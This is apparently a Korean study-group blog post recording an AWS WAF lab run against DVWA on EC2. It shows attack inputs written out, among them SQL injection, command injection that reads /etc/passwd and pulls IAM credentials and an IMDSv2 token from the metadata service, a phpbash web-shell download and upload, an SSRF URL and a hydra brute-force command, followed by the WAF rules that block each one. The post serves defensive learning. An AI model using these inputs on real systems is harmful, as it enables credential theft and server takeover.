- 3주차(9.10) - 웹 취약점 및 보안2023년 08월 25일
- 59lee
- 작성자
- 2023.08.25.:30
mysql 확인 ahss-waf.yaml0.01MBDB 및 웹서버 확인 웹페이지 구조 확인 DVWA 연결 DB 정보 확인 및 php 정보 확인 EC2 Instance Profile 확인 (AmazonS3ReadOnlyAccess) 웹 접속 로그 실시간 확인 도커 정보 확인 docker-compose 로 DVWA 설치(아래 출력 웹 접속 후 확인) 도커 컴포즈 확인 도커 이미지 및 프로세스 확인 도커 DB 확인 및 삭제 실시간 웹 로그 확인 Apache 기본 로그 설정 변경-196번째(196 입력 후 Shift+G) 줄에 %{X-Forwarded-For}i 추가 HTTP 다시 로드 후 실시간 웹 접속 로그 확인 - 로드밸런서의 개념의 이해 ← 인스턴스에 부여한 퍼플릭 IP로 접근이 안 된다. 하지만 ALB DNS에서 접근이 된다.
- ALB와 인스턴스의 보안 그룹이 차이가 나기 때문이다.
- ALB 보안 그룹에서 접근할 수 있게 해야 한다
설명에 대한 예시 - ALB을 통해서 웹서버를 접근할 수 있게 해야 하고, DB 서버는 웹서버를 통해서 접근할 수 있게 해야 한다
로드밸런서 DNS 접속 했을 때 나오는 로그 AWS WAF Configuration A to Z
This workshop is designed to let customer know how to manage AWS WAF Rule to mitigate attack against web services. This workshop includes topics below - Most common web attack method - How to configure AWS WAF customer managed rule to mitigate most common
catalog.us-east-1.prod.workshops.aws
- AWS WAF (Web Application Firewall) 소개 ← 오래된 내용이라 최근 업데이트 내용 반영이 안되어 있어, 큰 틀에서 이해에 중점을 두시면 됩니다WAF란 Web Application Firewall의 약자로 웹 애플리케이션 보안에 특화된 전용 방화벽입니다.웹 접근 트래픽에 대한 페이로드 분석 및 패턴 기반의 필터링을 통해 공격을 탐지하고 차단할 수 있습니다.
- 이러한 AWS WAF를 CloudFront, ALB, API Gateway, AppSync에 배포할 수 있습니다
- Web ACL을 사용하여 CloudFront 배포, API Gateway REST API 또는 ALB가 응답하는 웹 요청을 세부적으로 제어할 수 있습니다.
Web ACL → Rules (Managed Rule Groups/Own Rule and Rule Groups)
- RuleRule을 사용하여 일치 대상에 대해 요청을 차단하거나 요청을 허용할 수 있습니다. Rule의 하위 컴포넌트로 Statement가 있으며, 최대 5개의 Statement를 설정할 수 있습니다. 각 Statement에 대한 Match Action을 수행할 수 있습니다. (단일 매칭 또는 멀티 매칭)
- Statement
- Inspect: Inspection 대상을 정의하는 조건입니다.
- Match Condition: Inspection 대상에 대한 분류 방법을 정의합니다.
- Transformation(Optional): Match Condition의 추가적인 옵션을 부여합니다.
- Action: 필터링 동작 방식을 정의하는 것으로 허용/거부/카운트 중 선택합니다.
- Web ACL → Rule → Statement → Inspect, Match Condition, Transformation, Action
- Statement는 웹 필터링의 상세 조건을 정의하는 컴포넌트입니다. 상세 조건은 Inspect, Match Condition, Transformation(Optional), Action으로 구분할 수 있습니다.
- Web ACL → Rule → Statements (Single Match Action/Multi Match Action)
- Rule은 Web ACL의 하위 컴포넌트로 검사 기준을 정의하고 기준을 충족할 경우 수행 작업(Match Action)을 포함합니다.
- Web ACL 내에 포함되는 Rule은 최대 100개까지 생성이 가능하며, Rule은 사전 정의된 규칙이나 사용자 정의 규칙을 선택하여 생성할 수 있습니다.
1) Web ACL
AWS WAF는 단계별로 Web ACL, Rule, Statement로 구성됩니다. 순서에 따라 상위 컴포넌트와 하위 컴포넌트로 구분 지을 수 있습니다. (Web ACL > Rule > Statement)
- AWS Firewall Manager를 사용하여 AWS WAF 배포를 중앙에서 구성 및 관리할 수 있습니다.
- AWS WAF는 CloudWatch와 완전히 통합되어 다양한 실시간 지표를 제공합니다. 임계값이 초과하거나 특정 공격이 발생하는 경우 손쉽게 사용자 지정 경보를 하거나 가시성을 보장할 수 있습니다.
- API를 통해 규칙을 자동으로 생성 및 유지 관리하고, 개발 및 설계 프로세스에 규칙을 통합할 수 있습니다. 또한, AWS CloudFormation 템플릿을 사용하여 자동 배포 및 프로비저닝 할 수 있습니다.
- 웹 취약점 공격을 차단하는 규칙을 손쉽게 생성하여 웹 트래픽을 필터링하도록 규칙을 생성할 수 있습니다. 여러 웹 사이트에 배포할 수 있도록 중앙에서 관리하는 웹 트래픽 필터링 규칙의 집합을 생성할 수 있습니다.
오류 정보 노출 확인 대응 : apache2.conf 에 서버 정보 노출 최소화, 비활성화 설정
# apache2.conf 파일 수정 ServerTokens Prod # 웹 서버 정보 노출 설정 최소화 ServerSignature Off # 웹 브라우저에 정보 노출 비활성화 ... systemctl restat httpd
AWS WAF Configuration A to Z
This workshop is designed to let customer know how to manage AWS WAF Rule to mitigate attack against web services. This workshop includes topics below - Most common web attack method - How to configure AWS WAF customer managed rule to mitigate most common
catalog.us-east-1.prod.workshops.aws
1. sql 인젝션
User ID = 1 에 해당하는 정보가 출력 **' OR 1=1 #**
항상 참이 되는 조건절)와 같은 공격 구문 입력 DB 정보 확인중 sql 인젝션 효과 인증 user id 1인 거 확인 코드를 취약하게 만들면 안되는 이유 sql 대응방안 AWS WAF Configuration A to Z
This workshop is designed to let customer know how to manage AWS WAF Rule to mitigate attack against web services. This workshop includes topics below - Most common web attack method - How to configure AWS WAF customer managed rule to mitigate most common
catalog.us-east-1.prod.workshops.aws
2. Reflected XSS 공격
Reflected XSS 공격 PHPSESSID값 확인 Reflected XSS 대응방안 3. Stored XSS 공격
AWS WAF Configuration A to Z
This workshop is designed to let customer know how to manage AWS WAF Rule to mitigate attack against web services. This workshop includes topics below - Most common web attack method - How to configure AWS WAF customer managed rule to mitigate most common
catalog.us-east-1.prod.workshops.aws
Stored XSS 공격(준비) Stored XSS 공격 Stored XSS 공격(성공) 4. Command Injection 공격
AWS WAF Configuration A to Z
This workshop is designed to let customer know how to manage AWS WAF Rule to mitigate attack against web services. This workshop includes topics below - Most common web attack method - How to configure AWS WAF customer managed rule to mitigate most common
catalog.us-east-1.prod.workshops.aws
Command Injection 공격(준비) **8.8.8.8 ; id 8.8.8.8 ; cat /etc/passwd**
명령어 실행 잘 되는 거 확인 **8.8.8.8 ; curl -s <http://169.254.169.254/latest/meta-data/iam/**> **8.8.8.8 ; curl -s <http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole**>
자격증명 확인 가능 토큰값 잘 나옴 # 토큰 생성 **8.8.8.8 ; curl -X PUT "<http://169.254.169.254/latest/api/token>" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"** *AQAAAC1ZiLFgZZE4KIakmNxJhuuVi4GmpASxCIm14BeljvVPfwhbzg==* ****# 사용 **8.8.8.8 ; curl -H "X-aws-ec2-metadata-token: <토큰>" -v <http://169.254.169.254/latest/meta-data/> 8.8.8.8 ; curl -H "X-aws-ec2-metadata-token:** *AQAAAC1ZiLFgZZE4KIakmNxJhuuVi4GmpASxCIm14BeljvVPfwhbzg==***" -v <http://169.254.169.254/latest/meta-data/**>
https://docs.aws.amazon.com/ko_kr/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html
인스턴스 메타데이터 서비스 버전 2 작동 방식 - Amazon Elastic Compute Cloud
토큰이 유효하지 않고, 토큰을 만드는 데 오류가 발생하면 오류 메시지가 변수에 저장되고 명령이 작동하지 않습니다.
docs.aws.amazon.com
토큰 생성 토큰 입력 완료 특수문자는 제거할 수 잇게 설정 5. Backdoor 공격
AWS WAF Configuration A to Z
This workshop is designed to let customer know how to manage AWS WAF Rule to mitigate attack against web services. This workshop includes topics below - Most common web attack method - How to configure AWS WAF customer managed rule to mitigate most common
catalog.us-east-1.prod.workshops.aws
cmd에 다운로드
curl -O <https://raw.githubusercontent.com/Arrexel/phpbash/master/phpbash.php>
웹 웹쉘 업로드 http://{{ALB DNS Name}}/hackable/uploads/phpbash.php
웰쉘 성공 명령어 실행 잘됨 미디엄 대응방안 6. SSRF 공격
AWS WAF Configuration A to Z
This workshop is designed to let customer know how to manage AWS WAF Rule to mitigate attack against web services. This workshop includes topics below - Most common web attack method - How to configure AWS WAF customer managed rule to mitigate most common
catalog.us-east-1.prod.workshops.aws
file1 file2 file3 http://<ALB 도메인 주소>**/vulnerabilities/fi/?page=http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole**
자격증명 노출 ssrf 대응방안 7. 무차별 입력 공격
로직 확인 세션값 확인 # 공격 시도 28e79da390cfd3627947cfdbfc0a4354 curl -s '<https://s3.ap-northeast-2.amazonaws.com/do-not-delete-demo-website.ap-northeast-2/aws-waf-a-to-z/password.txt>' --output password.txt cat password.txt hydra **10.0.0.10** http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: **PHPSESSID=28e79da390cfd3627947cfdbfc0a4354; security=low**" -l **admin** -P **password.txt**
브루트 포스 웹로그 상 기록 브루트 포스 대응방안 curl -s 10.0.0.10/vulnerabilities/weak_id/ -v cpu 상승 apache bench 툴로 총 10000000 요청 전송 AWS WAF 설정하기
AWS WAF Configuration A to Z
This workshop is designed to let customer know how to manage AWS WAF Rule to mitigate attack against web services. This workshop includes topics below - Most common web attack method - How to configure AWS WAF customer managed rule to mitigate most common
catalog.us-east-1.prod.workshops.aws
waf 설정 sample 체크 <!DOCTYPE html>
<html>
<head>
<title>Access Denied</title>
<style>
.container {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
height: 100vh;
}
h1 {
font-size: 40px;
margin-bottom: 20px;
}
</style>
</head>
<body>
<div class="container">
<h1>Access Denied</h1>
</div>
</body>
</html>AWS WAF 로깅 설정하기
https://aws.amazon.com/ko/blogs/mt/analyzing-aws-waf-logs-in-amazon-cloudwatch-logs/
Analyzing AWS WAF Logs in Amazon CloudWatch Logs | Amazon Web Services
Update April 17 2023 : The Contributor Insights rules provided in this blog post are now natively available in CloudWatch Contributor Insights. This post shows you how to use Amazon CloudWatch features, such as Logs Insights, Contributor Insights, and Metr
aws.amazon.com
로그 생성 클라우드 와치 생성 클라우드 와치 설정 로그 생성 완료 로그 세팅 AWS WAF 로깅 대시보드 설정
https://aws.amazon.com/ko/blogs/security/visualize-aws-waf-logs-with-an-amazon-cloudwatch-dashboard/
Visualize AWS WAF logs with an Amazon CloudWatch dashboard | Amazon Web Services
AWS WAF is a web application firewall service that helps you protect your applications from common exploits that could affect your application’s availability and your security posture. One of the most useful ways to detect and respond to malicious web ac
aws.amazon.com
https://github.com/ytkoka/CloudWatch-Dashboard-for-AWS-WAF
GitHub - ytkoka/CloudWatch-Dashboard-for-AWS-WAF: CloudWatch Dashboard for AWS WAF
CloudWatch Dashboard for AWS WAF. Contribute to ytkoka/CloudWatch-Dashboard-for-AWS-WAF development by creating an account on GitHub.
github.com
https://console.aws.amazon.com/cloudformation/home#/stacks/create/review?stackName=WAF-Dashboard&templateURL=https://s3.amazonaws.com/ytkoka-resources/CloudWatch-Dashboard-for-AWS-WAF/cw-waf-dashboard-regional.yaml
console.aws.amazon.com
스택 생성 전 설정 대시보드 링크 대시보드 확인 https://dev.classmethod.jp/articles/aws-waf-sql-injection-sensitivity-levels/
AWS WAF の SQLインジェクションルールステートメントに対して Sensitivity levels が設定出来るように
いわさです。 AWS WAF では SQLインジェクションに対処するためのルールを設定することが可能です。 本日のアップデートで、カスタムのSQLインジェクションルールステートメントに対して、Se
dev.classmethod.jp
1. SQL Injection 공격 방어
sql 설정(1단계) sql 설정(2단계) sql 설정(3단계) 68. sql 차단 성공 AWS WAF Configuration A to Z
This workshop is designed to let customer know how to manage AWS WAF Rule to mitigate attack against web services. This workshop includes topics below - Most common web attack method - How to configure AWS WAF customer managed rule to mitigate most common
catalog.us-east-1.prod.workshops.aws
2. Reflected XSS 공격 방어
xss 설정(1단계) xss설정(2단계) xss설정(3단계) Reflected xss 차단 성공 AWS WAF Configuration A to Z (workshops.aws)
AWS WAF Configuration A to Z
This workshop is designed to let customer know how to manage AWS WAF Rule to mitigate attack against web services. This workshop includes topics below - Most common web attack method - How to configure AWS WAF customer managed rule to mitigate most common
catalog.us-east-1.prod.workshops.aws
3. Storeed XSS 공격 방어
Stored_XSS(1단계) Stored_XSS(2단계) Stored_XSS(3단계) test 차단 성공(Stored_XSS) AWS WAF Configuration A to Z (workshops.aws)
AWS WAF Configuration A to Z
This workshop is designed to let customer know how to manage AWS WAF Rule to mitigate attack against web services. This workshop includes topics below - Most common web attack method - How to configure AWS WAF customer managed rule to mitigate most common
catalog.us-east-1.prod.workshops.aws
4. Command Injection 공격 방어
명령어 인젝션(1단계) 명령어 인젝션(2단계) ^ip=(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}&Submit.*
명령어 인젝션(3단계) 명령어 인젝션(4단계) 명령어 인젝션(5단계) test 1 test 2 test3 성공 AWS WAF Configuration A to Z (workshops.aws)
AWS WAF Configuration A to Z
This workshop is designed to let customer know how to manage AWS WAF Rule to mitigate attack against web services. This workshop includes topics below - Most common web attack method - How to configure AWS WAF customer managed rule to mitigate most common
catalog.us-east-1.prod.workshops.aws
5. File Upload 후 Backdoor 공격 방어
file upload(1단계) file upload(2단계) file upload(3단계) 방어 성공 AWS WAF Configuration A to Z (workshops.aws)
AWS WAF Configuration A to Z
This workshop is designed to let customer know how to manage AWS WAF Rule to mitigate attack against web services. This workshop includes topics below - Most common web attack method - How to configure AWS WAF customer managed rule to mitigate most common
catalog.us-east-1.prod.workshops.aws
6. SSRF 공격 방어
SSRF(1단계) /vulnerabilities/fi
SSRF(2단계) http://(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}
SSRF(3단계) SSRF(4단계) 방어 성공 AWS WAF Configuration A to Z (workshops.aws)
AWS WAF Configuration A to Z
This workshop is designed to let customer know how to manage AWS WAF Rule to mitigate attack against web services. This workshop includes topics below - Most common web attack method - How to configure AWS WAF customer managed rule to mitigate most common
catalog.us-east-1.prod.workshops.aws
7. 무차별 입력 공격 방어
Brute_Force(1단계) Brute_Force(2단계) POST
Brute_Force(3단계) Brute_Force(4단계) 캡챠 캡챠 풀기 원상 복귀 AWS WAF Configuration A to Z (workshops.aws)
AWS WAF Configuration A to Z
This workshop is designed to let customer know how to manage AWS WAF Rule to mitigate attack against web services. This workshop includes topics below - Most common web attack method - How to configure AWS WAF customer managed rule to mitigate most common
catalog.us-east-1.prod.workshops.aws
8. GET Flooding 공격 방어
GET_Flooding(1단계) GET_Flooding(2단계) GET_Flooding(3단계) GET_Flooding(4단계) (188) AWS 네트워크 보안을 위한 계층별 보안 구성 모범 사례 – 조이정, AWS 솔루션즈 아키텍트:: AWS 온라인 이벤트 – 클라우드 보안 특집 - YouTube
14분 37초 (188) AWS 네트워크 보안을 위한 계층별 보안 구성 모범 사례 – 조이정, AWS 솔루션즈 아키텍트:: AWS 온라인 이벤트 – 클라우드 보안 특집 - YouTube
17분 33초 그래프 생성 익명 IP 차단 VPN 사용시 VPN 사용 안 할 때 自動アップデートする AWS WAF IP セットを CloudFormation で作成してみる | DevelopersIO (classmethod.jp)
自動アップデートする AWS WAF IP セットを CloudFormation で作成してみる | DevelopersIO
こんにちは、森田です。 AWS サービスで利用されているIPアドレスについては、以下の JSONファイルに記述されています。 https://ip-ranges.amazonaws.com/ip-ranges.json …
dev.classmethod.jp
AWS 서비스 IP를 AWS WAF IP set에 자동으로 업데이트
예시 'AHSS[1기]' 카테고리의 다른 글
5주차(9.24) : AWS Penetration Testing (0) 2023.08.25 4주차(9.17) : AWS WA Labs : Security (0) 2023.08.25 2주차(9.3) : IAM 취약점 및 보안 (0) 2023.08.25 1주차(8.27): S3 취약점 및 보안 (0) 2023.08.25 1주차(8.27): S3 취약점 및 보안 스터디 듣기 전 준비 (0) 2023.08.25 다음글이전글이전 글이 없습니다.댓글